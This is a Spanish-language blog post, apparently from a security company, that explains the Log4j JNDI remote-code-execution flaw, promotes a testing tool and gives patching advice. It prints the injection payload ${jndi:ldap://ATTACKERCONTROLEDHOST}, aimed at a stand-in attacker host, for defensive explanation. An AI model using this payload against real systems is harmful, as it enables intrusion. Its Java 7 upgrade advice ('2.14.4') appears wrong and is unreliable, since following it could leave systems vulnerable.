Si has estado viviendo bajo una roca o has jurado dejar de ver las noticias —¿y quién podría culparte?—, tal vez no sepas que hay una nueva vulnerabilidad de software en la ciudad.
Log4j, desarrollado y licenciado por Apache, es una herramienta de registro popular que afecta a muchísimas aplicaciones de software.
Esto no es una exageración.
Entre los afectados están Apple, Amazon, Cisco, Tesla, Minecraft y FileZilla FTP, y esa es la lista corta. Cientos de otras aplicaciones de terceros también usan Log4j.
¿Por qué importa?
Log4j, basado en Java, usa la Java Naming and Directory Interface (JNDI). Esta función recupera y ejecuta clases y objetos de Java, que luego se devuelven en formato Lightweight Directory Access Protocol (LDAP).
LDAP se usa para acceder a servicios de directorio (por ejemplo, consultar varias bases de datos de información al mismo tiempo).
La cadena ${jndi:ldap://ATTACKERCONTROLEDHOST}, por ejemplo, invoca esta funcionalidad de JNDI, lo que le permite comunicarse con ATTACKERCONTROLLEDHOST (usando un servidor LDAP) y recuperar y devolver lo que sea malicioso que haya ahí.
En resumen, un atacante puede insertar y ejecutar casi cualquier línea de código con esta única cadena, todo mediante ejecución remota de código (RCE). Esto incluye malware, ransomware de Bitcoin, escalada de privilegios, etc.
¿Soy vulnerable?
Nuestros propios Caleb Stewart y John Hammond, junto con nuestro amigo de la industria Jason Slagle, crearon una herramienta de código abierto que puedes usar para probar tu software, incluso si no eres muy experto en tecnología.
Solo tienes que ingresar un bloque de código simple en cualquier lugar donde se procesen entradas (por ejemplo, contraseñas, formularios de sitios, etc.). Esa cadena se conectará con nosotros por LDAP.
Si ocurre una conexión, tu software es vulnerable.
Sin embargo, no te enviamos ningún código. Tampoco guardamos registros de quién se conecta ni qué endpoints son vulnerables; todo esto se elimina después de los primeros 30 minutos.
Hay varios otros entornos de prueba de código abierto para Log4j en GitHub:
Cosas que debes tener en cuenta
Incluso si no obtienes ningún resultado después de usar las herramientas anteriores, es posible que todavía no estés fuera de peligro. Aquí hay algunas cosas que debes tener en cuenta al evaluar tu vulnerabilidad:
- Ofuscación: el exploit no tiene que verse como la cadena anterior, y es poco probable que se registre o detecte si se ejecuta con éxito
- La comunicación saliente no es necesariamente requerida: los procesos maliciosos pueden ejecutarse sin evidencia de comunicación, pero aun así es buena idea vigilar la comunicación del servidor hasta que se complete todo el parcheo
- El parcheo o la mitigación por parte de los proveedores sigue en curso: debido al uso generalizado de Log4j, tomará tiempo para que cada proveedor de software implemente un parche o solución alternativa para su software específico
Log4j 2
Pero no todo son malas noticias. Apache lanzó Log4j 2.17.1. Este es el último parche para Java 8 (o posterior) y aborda la vulnerabilidad de RCE a través del JDBC Appender en 2.17.0. Si esta es tu versión, deberás actualizar de nuevo.
Log4j 2.16 incluyó algunas mejoras bastante significativas respecto a las versiones 1.x, incluido el registro “sin basura” (que evita la asignación de objetos temporales) y la capacidad de retener eventos durante la configuración. Sin embargo, esta versión deshabilita JNDI de forma predeterminada debido al riesgo de seguridad que implica su uso. Si tienes aplicaciones que dependen de JNDI, puedes volver a habilitarlo con la propiedad del sistema log4j2.enableJndi, con la salvedad de que el uso de cualquier biblioteca dependiente de JNDI representa un riesgo continuo.
Para quienes usan Java 7, actualiza a 2.14.4, ya que esta es la versión que parcha la vulnerabilidad de RCE actual.
Para más detalles, y algunas risas muy necesarias, mira la versión completa de nuestro episodio especial de Tradecraft Tuesday
